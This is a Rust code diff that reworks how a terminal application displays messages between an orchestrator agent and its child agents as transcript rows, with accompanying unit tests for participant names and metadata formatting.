||||
|
||||
fn orchestrator_agent_id_for_conversation(
|
||||
@@ -74,118 +142,269 @@ fn orchestrator_agent_id_for_conversation(
|
||||
}
|
||||
}
|
||||
|
||||
fn render_message_fields(
|
||||
fields: &[(&str, &str)],
|
||||
body: &str,
|
||||
fn participant_for_current_conversation(
|
||||
props: Props,
|
||||
orchestrator_agent_id: Option<&str>,
|
||||
app: &AppContext,
|
||||
) -> OrchestrationParticipant {
|
||||
props
|
||||
.model
|
||||
.conversation(app)
|
||||
.map(|conversation| {
|
||||
participant_for_conversation(
|
||||
conversation,
|
||||
orchestrator_agent_id,
|
||||
conversation.orchestration_agent_id().as_deref(),
|
||||
)
|
||||
})
|
||||
.unwrap_or_else(OrchestrationParticipant::orchestrator)
|
||||
}
|
||||
|
||||
fn transcript_metadata(recipients: &[OrchestrationParticipant], subject: &str) -> Option<String> {
|
||||
let recipients = recipients
|
||||
.iter()
|
||||
.filter(|participant| !participant.is_orchestrator())
|
||||
.map(|participant| participant.display_name.as_str())
|
||||
.collect::<Vec<_>>()
|
||||
.join(", ");
|
||||
match (recipients.is_empty(), subject.is_empty()) {
|
||||
(true, true) => None,
|
||||
(true, false) => Some(subject.to_string()),
|
||||
(false, true) => Some(format!("to {recipients}")),
|
||||
(false, false) => Some(format!("to {recipients} • {subject}")),
|
||||
}
|
||||
}
|
||||
|
||||
struct TranscriptRowData<'a> {
|
||||
participant: &'a OrchestrationParticipant,
|
||||
recipients: &'a [OrchestrationParticipant],
|
||||
subject: &'a str,
|
||||
body: &'a str,
|
||||
message_id: &'a MessageId,
|
||||
is_streaming: bool,
|
||||
}
|
||||
|
||||
fn render_transcript_row(
|
||||
data: TranscriptRowData<'_>,
|
||||
props: Props,
|
||||
app: &AppContext,
|
||||
) -> Box<dyn Element> {
|
||||
let appearance = Appearance::as_ref(app);
|
||||
let theme = appearance.theme();
|
||||
let font_family = appearance.ui_font_family();
|
||||
let font_size = appearance.monospace_font_size();
|
||||
let label_color = blended_colors::text_disabled(theme, theme.surface_2());
|
||||
let value_color: ColorU = theme.main_text_color(theme.background()).into();
|
||||
let metadata_color = blended_colors::text_disabled(theme, theme.surface_2());
|
||||
let body_color: ColorU = theme.main_text_color(theme.background()).into();
|
||||
let collapsible_state = if data.body.is_empty() {
|
||||
None
|
||||
} else {
|
||||
props.collapsible_block_states.get(data.message_id)
|
||||
};
|
||||
|
||||
let mut column = Flex::column().with_cross_axis_alignment(CrossAxisAlignment::Stretch);
|
||||
|
||||
for (label, value) in fields {
|
||||
let line = Flex::row()
|
||||
.with_child(
|
||||
Text::new(label.to_string(), font_family, font_size)
|
||||
.with_color(label_color)
|
||||
.finish(),
|
||||
)
|
||||
.with_child(
|
||||
Text::new(value.to_string(), font_family, font_size)
|
||||
.with_color(value_color)
|
||||
.finish(),
|
||||
)
|
||||
let name = FormattedTextFragment::bold(&data.participant.display_name);
|
||||
let header_row_element: Box<dyn Element> = if let Some(state) = collapsible_state {
|
||||
// Wrap the name + chevron in one clickable element so either toggles
|
||||
// the section. Text is non-selectable + non-interactive so clicks
|
||||
// register and the pointing-hand cursor isn't reset by the text.
|
||||
let header = render_formatted_text_element(vec![name], app)
|
||||
.set_selectable(false)
|
||||
.disable_mouse_interaction()
|
||||
.finish();
|
||||
column.add_child(line);
|
||||
}
|
||||
let text_color = theme.foreground();
|
||||
let icon_sz = icon_size(app);
|
||||
let is_expanded = matches!(
|
||||
state.expansion_state,
|
||||
CollapsibleExpansionState::Expanded { .. }
|
||||
);
|
||||
let chevron_icon = if is_expanded {
|
||||
Icon::ChevronDown
|
||||
} else {
|
||||
Icon::ChevronRight
|
||||
};
|
||||
let toggle_mouse_state = state.expansion_toggle_mouse_state.clone();
|
||||
let message_id_clone = data.message_id.clone();
|
||||
|
||||
if !body.is_empty() {
|
||||
column.add_child(
|
||||
let expandable = Hoverable::new(toggle_mouse_state, move |_| {
|
||||
// Make the bold name a Shrinkable child so very long agent names
|
||||
// shrink within the available width instead of pushing the chevron
|
||||
// past the transcript column.
|
||||
Flex::row()
|
||||
.with_cross_axis_alignment(CrossAxisAlignment::Center)
|
||||
.with_child(Shrinkable::new(1., header).finish())
|
||||
.with_child(
|
||||
Container::new(
|
||||
ConstrainedBox::new(chevron_icon.to_warpui_icon(text_color).finish())
|
||||
.with_width(icon_sz)
|
||||
.with_height(icon_sz)
|
||||
.finish(),
|
||||
)
|
||||
.with_margin_left(6.)
|
||||
.finish(),
|
||||
)
|
||||
.finish()
|
||||
})
|
||||
.with_cursor(Cursor::PointingHand)
|
||||
.on_click(move |ctx, _, _| {
|
||||
ctx.dispatch_typed_action(AIBlockAction::ToggleCollapsibleBlockExpanded(
|
||||
message_id_clone.clone(),
|
||||
));
|
||||
});
|
||||
|
||||
// Wrap the Hoverable in a Shrinkable inside an outer row so it
|
||||
// receives a bounded width constraint from the parent column. This
|
||||
// lets the inner Shrinkable around the bold name actually shrink
|
||||
// when the name is long, while the Hoverable's click bounds still
|
||||
// size to its content (bold name + chevron) when it fits.
|
||||
Flex::row()
|
||||
.with_child(Shrinkable::new(1., expandable.finish()).finish())
|
||||
.finish()
|
||||
} else {
|
||||
let header = render_formatted_text_element(vec![name], app).finish();
|
||||
Flex::row()
|
||||
.with_cross_axis_alignment(CrossAxisAlignment::Center)
|
||||
.with_child(Shrinkable::new(1., header).finish())
|
||||
.finish()
|
||||
};
|
||||
|
||||
let mut content = Flex::column().with_cross_axis_alignment(CrossAxisAlignment::Stretch);
|
||||
content.add_child(header_row_element);
|
||||
if let Some(metadata) = transcript_metadata(data.recipients, data.subject) {
|
||||
content.add_child(
|
||||
Container::new(
|
||||
Text::new(body.to_string(), font_family, font_size)
|
||||
.with_color(value_color)
|
||||
Text::new(metadata, font_family, font_size)
|
||||
.with_color(metadata_color)
|
||||
.with_selectable(true)
|
||||
.finish(),
|
||||
)
|
||||
.with_margin_top(4.)
|
||||
.with_margin_top(2.)
|
||||
.finish(),
|
||||
);
|
||||
}
|
||||
if !data.body.is_empty() {
|
||||
let body_element = Container::new(
|
||||
Text::new(data.body.to_string(), font_family, font_size)
|
||||
.with_color(body_color)
|
||||
.with_selectable(true)
|
||||
.finish(),
|
||||
)
|
||||
.with_margin_top(8.)
|
||||
.finish();
|
||||
if let Some(body) =
|
||||
render_collapsible_body(data.message_id, body_element, data.is_streaming, props)
|
||||
{
|
||||
content.add_child(body);
|
||||
}
|
||||
}
|
||||
|
||||
column.finish()
|
||||
let avatar = data.participant.avatar.render(app);
|
||||
let avatar_element: Box<dyn Element> = if let (Some(conversation_id), Some(mouse_state)) = (
|
||||
data.participant.conversation_id,
|
||||
props
|
||||
.state_handles
|
||||
.transcript_avatar_handles
|
||||
.get(data.message_id),
|
||||
) {
|
||||
// Navigate to the child's pane: focus if already open, otherwise
|
||||
// open a new pane.
|
||||
let mouse_state = mouse_state.clone();
|
||||
let self_terminal_view_id = props.terminal_view_id;
|
||||
Hoverable::new(mouse_state, move |_| avatar)
|
||||
.with_cursor(Cursor::PointingHand)
|
||||
.on_click(move |ctx, app, _| {
|
||||
dispatch_focus_or_open_child_agent_pane(
|
||||
conversation_id,
|
||||
self_terminal_view_id,
|
||||
ctx,
|
||||
app,
|
||||
);
|
||||
})
|
||||
.finish()
|
||||
} else {
|
||||
avatar
|
||||
};
|
||||
|
||||
Flex::row()
|
||||
.with_cross_axis_alignment(CrossAxisAlignment::Start)
|
||||
.with_child(
|
||||
Container::new(avatar_element)
|
||||
.with_margin_right(12.)
|
||||
.finish(),
|
||||
)
|
||||
.with_child(Shrinkable::new(1., content.finish()).finish())
|
||||
.finish()
|
||||
}
|
||||
|
||||
pub(super) fn render_messages_received_from_agents(
|
||||
messages: &[ReceivedMessageDisplay],
|
||||
props: Props,
|
||||
message_id: &MessageId,
|
||||
app: &AppContext,
|
||||
) -> Box<dyn Element> {
|
||||
let appearance = Appearance::as_ref(app);
|
||||
let theme = appearance.theme();
|
||||
|
||||
let status_icon = inline_action_icons::green_check_icon(appearance).finish();
|
||||
let chevron = render_collapse_chevron(message_id, props, app);
|
||||
|
||||
let mut column = Flex::column().with_cross_axis_alignment(CrossAxisAlignment::Stretch);
|
||||
|
||||
// Header row with icon and collapse chevron
|
||||
let header = render_requested_action_row_for_text(
|
||||
format!("Messages received ({})", messages.len()).into(),
|
||||
appearance.ui_font_family(),
|
||||
Some(status_icon),
|
||||
chevron,
|
||||
false,
|
||||
false,
|
||||
app,
|
||||
);
|
||||
column.add_child(header);
|
||||
|
||||
if messages.is_empty() {
|
||||
return Empty::new().finish();
|
||||
}
|
||||
let orchestrator_agent_id = props
|
||||
.model
|
||||
.conversation(app)
|
||||
.and_then(|conversation| orchestrator_agent_id_for_conversation(conversation, app));
|
||||
|
||||
// Collect all messages into a single collapsible body.
|
||||
let mut messages_column = Flex::column().with_cross_axis_alignment(CrossAxisAlignment::Stretch);
|
||||
for msg in messages {
|
||||
let sender_name =
|
||||
agent_display_name_from_id(&msg.sender_agent_id, orchestrator_agent_id.as_deref(), app);
|
||||
let mut column = Flex::column().with_cross_axis_alignment(CrossAxisAlignment::Stretch);
|
||||
for (index, msg) in messages.iter().enumerate() {
|
||||
let sender =
|
||||
participant_for_agent_id(&msg.sender_agent_id, orchestrator_agent_id.as_deref(), app);
|
||||
let recipients = msg
|
||||
.addresses
|
||||
.iter()
|
||||
.map(|agent_id| {
|
||||
agent_display_name_from_id(agent_id, orchestrator_agent_id.as_deref(), app)
|
||||
participant_for_agent_id(agent_id, orchestrator_agent_id.as_deref(), app)
|
||||
})
|
||||
.collect::<Vec<_>>()
|
||||
.join(", ");
|
||||
let fields = [
|
||||
("From: ", sender_name.as_str()),
|
||||
("To: ", recipients.as_str()),
|
||||
("Subject: ", msg.subject.as_str()),
|
||||
];
|
||||
let message_block = Container::new(render_message_fields(&fields, &msg.message_body, app))
|
||||
.with_margin_top(8.)
|
||||
.with_margin_left(8.)
|
||||
.finish();
|
||||
messages_column.add_child(message_block);
|
||||
.collect::<Vec<_>>();
|
||||
let row_message_id = received_message_collapsible_id(&msg.message_id);
|
||||
let row = render_transcript_row(
|
||||
TranscriptRowData {
|
||||
participant: &sender,
|
||||
recipients: &recipients,
|
||||
subject: &msg.subject,
|
||||
body: &msg.message_body,
|
||||
message_id: &row_message_id,
|
||||
is_streaming: false,
|
||||
},
|
||||
props,
|
||||
app,
|
||||
);
|
||||
let mut row_container = Container::new(row);
|
||||
if index > 0 {
|
||||
row_container = row_container.with_margin_top(12.);
|
||||
}
|
||||
column.add_child(row_container.finish());
|
||||
}
|
||||
|
||||
if let Some(body) = render_collapsible_body(message_id, messages_column.finish(), false, props)
|
||||
{
|
||||
column.add_child(body);
|
||||
}
|
||||
column.finish().with_agent_output_item_spacing(app).finish()
|
||||
}
|
||||
|
||||
Container::new(column.finish())
|
||||
.with_horizontal_padding(8.)
|
||||
.with_vertical_padding(8.)
|
||||
.with_background_color(blended_colors::neutral_2(theme))
|
||||
.with_corner_radius(CornerRadius::with_all(Radius::Pixels(8.)))
|
||||
.finish()
|
||||
fn participant_display_names(participants: &[OrchestrationParticipant]) -> String {
|
||||
participants
|
||||
.iter()
|
||||
.map(|participant| participant.display_name.as_str())
|
||||
.collect::<Vec<_>>()
|
||||
.join(", ")
|
||||
}
|
||||
|
||||
fn participant_for_agent_ids(
|
||||
agent_ids: &[String],
|
||||
orchestrator_agent_id: Option<&str>,
|
||||
app: &AppContext,
|
||||
) -> Vec<OrchestrationParticipant> {
|
||||
agent_ids
|
||||
.iter()
|
||||
.map(|agent_id| participant_for_agent_id(agent_id, orchestrator_agent_id, app))
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn render_transcript_row_with_spacing(
|
||||
data: TranscriptRowData<'_>,
|
||||
props: Props,
|
||||
app: &AppContext,
|
||||
) -> Box<dyn Element> {
|
||||
render_transcript_row(data, props, app)
|
||||
.with_agent_output_item_spacing(app)
|
||||
.finish()
|
||||
}
|
||||
@@ -206,11 +425,9 @@ pub(super) fn render_send_message(
|
||||
.model
|
||||
.conversation(app)
|
||||
.and_then(|conversation| orchestrator_agent_id_for_conversation(conversation, app));
|
||||
let recipients = address
|
||||
.iter()
|
||||
.map(|agent_id| agent_display_name_from_id(agent_id, orchestrator_agent_id.as_deref(), app))
|
||||
.collect::<Vec<_>>()
|
||||
.join(", ");
|
||||
let recipient_participants =
|
||||
participant_for_agent_ids(address, orchestrator_agent_id.as_deref(), app);
|
||||
let recipients = participant_display_names(&recipient_participants);
|
||||
|
||||
if let Some(AIActionStatus::Finished(result)) = &status {
|
||||
let AIAgentActionResultType::SendMessageToAgent(result) = &result.result else {
|
||||
@@ -222,40 +439,23 @@ pub(super) fn render_send_message(
|
||||
};
|
||||
match result {
|
||||
SendMessageToAgentResult::Success { .. } => {
|
||||
let status_icon = inline_action_icons::green_check_icon(appearance).finish();
|
||||
let chevron = render_collapse_chevron(message_id, props, app);
|
||||
let header = render_requested_action_row_for_text(
|
||||
format!("Sent message to {recipients}: {subject}").into(),
|
||||
appearance.ui_font_family(),
|
||||
Some(status_icon),
|
||||
chevron,
|
||||
false,
|
||||
false,
|
||||
let sender = participant_for_current_conversation(
|
||||
props,
|
||||
orchestrator_agent_id.as_deref(),
|
||||
app,
|
||||
);
|
||||
return render_transcript_row_with_spacing(
|
||||
TranscriptRowData {
|
||||
participant: &sender,
|
||||
recipients: &recipient_participants,
|
||||
subject,
|
||||
body: message,
|
||||
message_id,
|
||||
is_streaming: false,
|
||||
},
|
||||
props,
|
||||
app,
|
||||
);
|
||||
|
||||
let fields = [("To: ", recipients.as_str()), ("Subject: ", subject)];
|
||||
let body_element = Container::new(render_message_fields(&fields, message, app))
|
||||
.with_margin_top(4.)
|
||||
.with_margin_left(8.)
|
||||
.finish();
|
||||
|
||||
let mut column =
|
||||
Flex::column().with_cross_axis_alignment(CrossAxisAlignment::Stretch);
|
||||
column.add_child(header);
|
||||
if let Some(body) = render_collapsible_body(message_id, body_element, false, props)
|
||||
{
|
||||
column.add_child(body);
|
||||
}
|
||||
|
||||
return Container::new(column.finish())
|
||||
.with_horizontal_padding(8.)
|
||||
.with_vertical_padding(8.)
|
||||
.with_background_color(blended_colors::neutral_2(theme))
|
||||
.with_corner_radius(CornerRadius::with_all(Radius::Pixels(8.)))
|
||||
.finish()
|
||||
.with_agent_output_item_spacing(app)
|
||||
.finish();
|
||||
}
|
||||
SendMessageToAgentResult::Error(error) => {
|
||||
let label = format!("Failed to send message to {recipients}: {error}");
|
||||
@@ -432,40 +632,30 @@ pub(super) fn render_start_agent(
|
||||
}
|
||||
}
|
||||
if let Some(card_data) = child_conversation_card_data {
|
||||
// Render inline subagent panel instead of navigation card
|
||||
if let Some(panel_state) = props.state_handles.subagent_panel_states.get(action_id) {
|
||||
column.add_child(
|
||||
crate::ai::blocklist::agent_view::subagent_inline_panel::render_subagent_inline_panel(
|
||||
panel_state,
|
||||
action_id,
|
||||
app,
|
||||
),
|
||||
);
|
||||
} else {
|
||||
// Fallback: render the navigation card if no panel state exists yet
|
||||
let navigation_card_handle = props
|
||||
.state_handles
|
||||
.orchestration_navigation_card_handles
|
||||
.get(action_id)
|
||||
.cloned()
|
||||
.unwrap_or_else(|| {
|
||||
log::error!(
|
||||
"Missing orchestration navigation card handle for StartAgent action {:?}",
|
||||
action_id
|
||||
);
|
||||
MouseStateHandle::default()
|
||||
});
|
||||
let status_icon = card_data.status.status_icon_and_color(theme);
|
||||
column.add_child(render_conversation_navigation_card_row(
|
||||
&card_data.agent_name,
|
||||
Some(&card_data.title),
|
||||
Some(status_icon),
|
||||
card_data.conversation_id,
|
||||
navigation_card_handle,
|
||||
true,
|
||||
app,
|
||||
));
|
||||
}
|
||||
let navigation_card_handle = props
|
||||
.state_handles
|
||||
.orchestration_navigation_card_handles
|
||||
.get(action_id)
|
||||
.cloned()
|
||||
.unwrap_or_else(|| {
|
||||
log::error!(
|
||||
"Missing orchestration navigation card handle for StartAgent action {:?}",
|
||||
action_id
|
||||
);
|
||||
MouseStateHandle::default()
|
||||
});
|
||||
let status_icon = card_data
|
||||
.status
|
||||
.status_icon_and_color(theme, StatusColorStyle::Standard);
|
||||
column.add_child(render_conversation_navigation_card_row(
|
||||
&card_data.agent_name,
|
||||
Some(&card_data.title),
|
||||
Some(status_icon),
|
||||
card_data.conversation_id,
|
||||
navigation_card_handle,
|
||||
true,
|
||||
app,
|
||||
));
|
||||
}
|
||||
|
||||
return column
|
||||
|
||||
@@ -1,17 +1,19 @@
|
||||
use crate::ai::agent::conversation::{AIConversationId, ConversationStatus};
|
||||
use crate::ai::agent::{StartAgentExecutionMode, StartAgentResult};
|
||||
use crate::BlocklistAIHistoryModel;
|
||||
use ai::agent::action_result::StartAgentVersion;
|
||||
use galaxy_cli::agent::Harness;
|
||||
use galaxy_core::ui::appearance::Appearance;
|
||||
use galaxyui::elements::MouseStateHandle;
|
||||
use galaxyui::{App, EntityId};
|
||||
|
||||
use super::{
|
||||
agent_display_name_from_id, child_conversation_card_data_for_result,
|
||||
agent_display_name_from_id, child_conversation_card_data_for_result, participant_for_agent_id,
|
||||
render_conversation_navigation_card_row, start_agent_cancelled_prefix,
|
||||
start_agent_error_prefix, start_agent_in_progress_prefix, start_agent_success_suffix,
|
||||
ChildConversationCardData,
|
||||
transcript_metadata, ChildConversationCardData, OrchestrationAvatar, OrchestrationParticipant,
|
||||
};
|
||||
use crate::ai::agent::conversation::{AIConversationId, ConversationStatus};
|
||||
use crate::ai::agent::{StartAgentExecutionMode, StartAgentResult};
|
||||
use crate::test_util::settings::initialize_history_persistence_for_tests;
|
||||
use crate::BlocklistAIHistoryModel;
|
||||
|
||||
#[test]
|
||||
fn child_conversation_card_data_for_success_result_returns_conversation_id_and_title() {
|
||||
@@ -19,7 +21,7 @@ fn child_conversation_card_data_for_success_result_returns_conversation_id_and_t
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
let conversation_id =
|
||||
history_model.start_new_conversation(EntityId::new(), false, false, ctx);
|
||||
history_model.start_new_conversation(EntityId::new(), false, false, false, ctx);
|
||||
history_model.set_server_conversation_token_for_conversation(
|
||||
conversation_id,
|
||||
"child-agent-id".to_string(),
|
||||
@@ -76,6 +78,7 @@ fn start_agent_copy_uses_remote_labels_for_remote_children() {
|
||||
worker_host: String::new(),
|
||||
harness_type: String::new(),
|
||||
title: String::new(),
|
||||
auth_secret_name: None,
|
||||
};
|
||||
|
||||
assert_eq!(start_agent_success_suffix(&execution_mode), " remotely.");
|
||||
@@ -99,7 +102,7 @@ fn child_conversation_card_data_for_success_result_without_available_title_uses_
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
let conversation_id =
|
||||
history_model.start_new_conversation(EntityId::new(), false, false, ctx);
|
||||
history_model.start_new_conversation(EntityId::new(), false, false, false, ctx);
|
||||
history_model.set_server_conversation_token_for_conversation(
|
||||
conversation_id,
|
||||
"child-agent-id".to_string(),
|
||||
@@ -164,7 +167,7 @@ fn agent_display_name_from_id_returns_child_agent_name() {
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
history_model.update(&mut app, |history_model, ctx| {
|
||||
let conversation_id =
|
||||
history_model.start_new_conversation(EntityId::new(), false, false, ctx);
|
||||
history_model.start_new_conversation(EntityId::new(), false, false, false, ctx);
|
||||
history_model.set_server_conversation_token_for_conversation(
|
||||
conversation_id,
|
||||
"child-agent-id".to_string(),
|
||||
@@ -188,7 +191,7 @@ fn agent_display_name_from_id_returns_orchestrator_label() {
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
history_model.update(&mut app, |history_model, ctx| {
|
||||
let conversation_id =
|
||||
history_model.start_new_conversation(EntityId::new(), false, false, ctx);
|
||||
history_model.start_new_conversation(EntityId::new(), false, false, false, ctx);
|
||||
let conversation = history_model
|
||||
.conversation_mut(&conversation_id)
|
||||
.expect("conversation should exist");
|
||||
@@ -199,7 +202,7 @@ fn agent_display_name_from_id_returns_orchestrator_label() {
|
||||
let actual = app.read(|ctx| {
|
||||
agent_display_name_from_id("orchestrator-agent-id", Some("orchestrator-agent-id"), ctx)
|
||||
});
|
||||
assert_eq!(actual, "Orchestrator agent");
|
||||
assert_eq!(actual, "Orchestrator");
|
||||
});
|
||||
}
|
||||
|
||||
@@ -212,6 +215,239 @@ fn agent_display_name_from_id_returns_unknown_fallback() {
|
||||
assert_eq!(actual, "Unknown agent");
|
||||
});
|
||||
}
|
||||
#[test]
|
||||
fn participant_for_agent_id_uses_pill_style_child_agent_avatar() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_history_persistence_for_tests(&mut app);
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
history_model.update(&mut app, |history_model, ctx| {
|
||||
let terminal_view_id = EntityId::new();
|
||||
let parent_conversation_id =
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx);
|
||||
history_model.set_server_conversation_token_for_conversation(
|
||||
parent_conversation_id,
|
||||
"orchestrator-agent-id".to_string(),
|
||||
);
|
||||
let child_conversation_id = history_model.start_new_child_conversation(
|
||||
terminal_view_id,
|
||||
"Agent 1".to_string(),
|
||||
parent_conversation_id,
|
||||
Some(Harness::Claude),
|
||||
ctx,
|
||||
);
|
||||
history_model.set_server_conversation_token_for_conversation(
|
||||
child_conversation_id,
|
||||
"child-agent-id".to_string(),
|
||||
);
|
||||
});
|
||||
|
||||
let actual = app.read(|ctx| {
|
||||
participant_for_agent_id("child-agent-id", Some("orchestrator-agent-id"), ctx)
|
||||
});
|
||||
assert_eq!(actual.display_name, "Agent 1");
|
||||
assert_eq!(
|
||||
actual.avatar,
|
||||
OrchestrationAvatar::agent("Agent 1".to_string())
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
/// A restored child run id (persisted via run_id in the SQLite
|
||||
/// `agent_conversations` row) must resolve to the child's display name
|
||||
/// after `BlocklistAIHistoryModel::new` eagerly hydrates the orchestration
|
||||
/// child into `conversations_by_id`. Otherwise this falls back to
|
||||
/// "Unknown agent" because the child conversation is not loaded into memory
|
||||
/// until its hidden pane materializes lazily.
|
||||
#[test]
|
||||
fn participant_for_restored_child_run_id_resolves_to_agent_name() {
|
||||
use chrono::Utc;
|
||||
use uuid::Uuid;
|
||||
|
||||
use crate::persistence::model::{
|
||||
AgentConversation, AgentConversationData, AgentConversationRecord,
|
||||
};
|
||||
|
||||
App::test((), |app| async move {
|
||||
let parent_id = AIConversationId::new();
|
||||
let child_id = AIConversationId::new();
|
||||
let parent_run_id = Uuid::new_v4().to_string();
|
||||
let child_run_id = Uuid::new_v4().to_string();
|
||||
let now = Utc::now().naive_utc();
|
||||
|
||||
// A persisted child conversation with at least one root task so
|
||||
// `AIConversation::new_restored` succeeds, parent linkage via
|
||||
// `parent_conversation_id`, and a `run_id` so the orchestration
|
||||
// transcript can resolve its display name from a server-side
|
||||
// agent identifier.
|
||||
let child = AgentConversation {
|
||||
conversation: AgentConversationRecord {
|
||||
id: 1,
|
||||
conversation_id: child_id.to_string(),
|
||||
conversation_data: serde_json::to_string(&AgentConversationData {
|
||||
server_conversation_token: Some("child-token".to_string()),
|
||||
conversation_usage_metadata: None,
|
||||
reverted_action_ids: None,
|
||||
forked_from_server_conversation_token: None,
|
||||
artifacts_json: None,
|
||||
parent_agent_id: Some(parent_run_id.clone()),
|
||||
agent_name: Some("Agent 1".to_string()),
|
||||
orchestration_harness_type: None,
|
||||
parent_conversation_id: Some(parent_id.to_string()),
|
||||
is_remote_child: false,
|
||||
root_task_is_optimistic: None,
|
||||
run_id: Some(child_run_id.clone()),
|
||||
autoexecute_override: None,
|
||||
last_event_sequence: None,
|
||||
pinned: false,
|
||||
})
|
||||
.expect("child conversation data should serialize"),
|
||||
last_modified_at: now,
|
||||
},
|
||||
tasks: vec![warp_multi_agent_api::Task {
|
||||
id: format!("task-{child_id}"),
|
||||
messages: vec![warp_multi_agent_api::Message {
|
||||
fetched_memories: vec![],
|
||||
id: "child-msg".to_string(),
|
||||
task_id: format!("task-{child_id}"),
|
||||
server_message_data: String::new(),
|
||||
citations: vec![],
|
||||
message: Some(warp_multi_agent_api::message::Message::UserQuery(
|
||||
warp_multi_agent_api::message::UserQuery {
|
||||
query: "Child query".to_string(),
|
||||
context: None,
|
||||
referenced_attachments: Default::default(),
|
||||
mode: None,
|
||||
intended_agent: Default::default(),
|
||||
},
|
||||
)),
|
||||
request_id: "request-1".to_string(),
|
||||
timestamp: None,
|
||||
}],
|
||||
dependencies: None,
|
||||
description: "Child query".to_string(),
|
||||
summary: String::new(),
|
||||
server_data: String::new(),
|
||||
}],
|
||||
};
|
||||
|
||||
// Parent must also be hydrated so the orchestrator id is in the
|
||||
// run-id reverse index.
|
||||
let parent = AgentConversation {
|
||||
conversation: AgentConversationRecord {
|
||||
id: 2,
|
||||
conversation_id: parent_id.to_string(),
|
||||
conversation_data: serde_json::to_string(&AgentConversationData {
|
||||
server_conversation_token: Some("parent-token".to_string()),
|
||||
conversation_usage_metadata: None,
|
||||
reverted_action_ids: None,
|
||||
forked_from_server_conversation_token: None,
|
||||
artifacts_json: None,
|
||||
parent_agent_id: None,
|
||||
agent_name: None,
|
||||
orchestration_harness_type: None,
|
||||
parent_conversation_id: None,
|
||||
is_remote_child: false,
|
||||
root_task_is_optimistic: None,
|
||||
run_id: Some(parent_run_id.clone()),
|
||||
autoexecute_override: None,
|
||||
last_event_sequence: None,
|
||||
pinned: false,
|
||||
})
|
||||
.expect("parent conversation data should serialize"),
|
||||
last_modified_at: now - chrono::Duration::seconds(1),
|
||||
},
|
||||
tasks: vec![warp_multi_agent_api::Task {
|
||||
id: format!("task-{parent_id}"),
|
||||
messages: vec![warp_multi_agent_api::Message {
|
||||
fetched_memories: vec![],
|
||||
id: "parent-msg".to_string(),
|
||||
task_id: format!("task-{parent_id}"),
|
||||
server_message_data: String::new(),
|
||||
citations: vec![],
|
||||
message: Some(warp_multi_agent_api::message::Message::UserQuery(
|
||||
warp_multi_agent_api::message::UserQuery {
|
||||
query: "Parent query".to_string(),
|
||||
context: None,
|
||||
referenced_attachments: Default::default(),
|
||||
mode: None,
|
||||
intended_agent: Default::default(),
|
||||
},
|
||||
)),
|
||||
request_id: "request-2".to_string(),
|
||||
timestamp: None,
|
||||
}],
|
||||
dependencies: None,
|
||||
description: "Parent query".to_string(),
|
||||
summary: String::new(),
|
||||
server_data: String::new(),
|
||||
}],
|
||||
};
|
||||
|
||||
app.add_singleton_model(|_| BlocklistAIHistoryModel::new(vec![], &[child, parent]));
|
||||
|
||||
// Before Fix C the child would not be loaded into
|
||||
// `conversations_by_id`, so `participant_for_agent_id` would return
|
||||
// "Unknown agent". With Fix C, the child is eagerly hydrated and the
|
||||
// display name resolves.
|
||||
let participant =
|
||||
app.read(|ctx| participant_for_agent_id(&child_run_id, Some(&parent_run_id), ctx));
|
||||
assert_eq!(
|
||||
participant.display_name, "Agent 1",
|
||||
"restored child run id must resolve to the child's display name, not 'Unknown agent'",
|
||||
);
|
||||
assert_eq!(
|
||||
participant.avatar,
|
||||
OrchestrationAvatar::agent("Agent 1".to_string()),
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn transcript_metadata_uses_transcript_copy_without_technical_labels() {
|
||||
let recipients = vec![OrchestrationParticipant {
|
||||
display_name: "Agent 1".to_string(),
|
||||
avatar: OrchestrationAvatar::agent("Agent 1".to_string()),
|
||||
conversation_id: None,
|
||||
}];
|
||||
|
||||
let metadata = transcript_metadata(&recipients, "Fix tests").expect("metadata");
|
||||
|
||||
assert_eq!(metadata, "to Agent 1 • Fix tests");
|
||||
for legacy_label in ["Messages received", "From:", "To:", "Subject:"] {
|
||||
assert!(
|
||||
!metadata.contains(legacy_label),
|
||||
"Transcript metadata should not contain old technical label {legacy_label}: {metadata}"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn transcript_metadata_omits_orchestrator_recipients() {
|
||||
let recipients = vec![OrchestrationParticipant::orchestrator()];
|
||||
|
||||
assert_eq!(
|
||||
transcript_metadata(&recipients, "Status update"),
|
||||
Some("Status update".to_string())
|
||||
);
|
||||
assert_eq!(transcript_metadata(&recipients, ""), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn transcript_metadata_preserves_non_orchestrator_recipients() {
|
||||
let recipients = vec![
|
||||
OrchestrationParticipant::orchestrator(),
|
||||
OrchestrationParticipant {
|
||||
display_name: "Agent 1".to_string(),
|
||||
avatar: OrchestrationAvatar::agent("Agent 1".to_string()),
|
||||
conversation_id: None,
|
||||
},
|
||||
];
|
||||
|
||||
assert_eq!(
|
||||
transcript_metadata(&recipients, "Fix tests"),
|
||||
Some("to Agent 1 • Fix tests".to_string())
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn conversation_navigation_card_row_renders_title_without_legacy_subtitle() {
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,8 +1,21 @@
|
||||
use ai::agent::action::UploadArtifactRequest;
|
||||
use ai::skills::{ParsedSkill, SkillProvider, SkillReference, SkillScope};
|
||||
use repo_metadata::repositories::DetectedRepositories;
|
||||
use repo_metadata::{DirectoryWatcher, RepoMetadataModel};
|
||||
use warp_util::host_id::HostId;
|
||||
use warp_util::local_or_remote_path::LocalOrRemotePath;
|
||||
use warp_util::remote_path::RemotePath;
|
||||
use warp_util::standardized_path::StandardizedPath;
|
||||
use warpui::App;
|
||||
use watcher::HomeDirectoryWatcher;
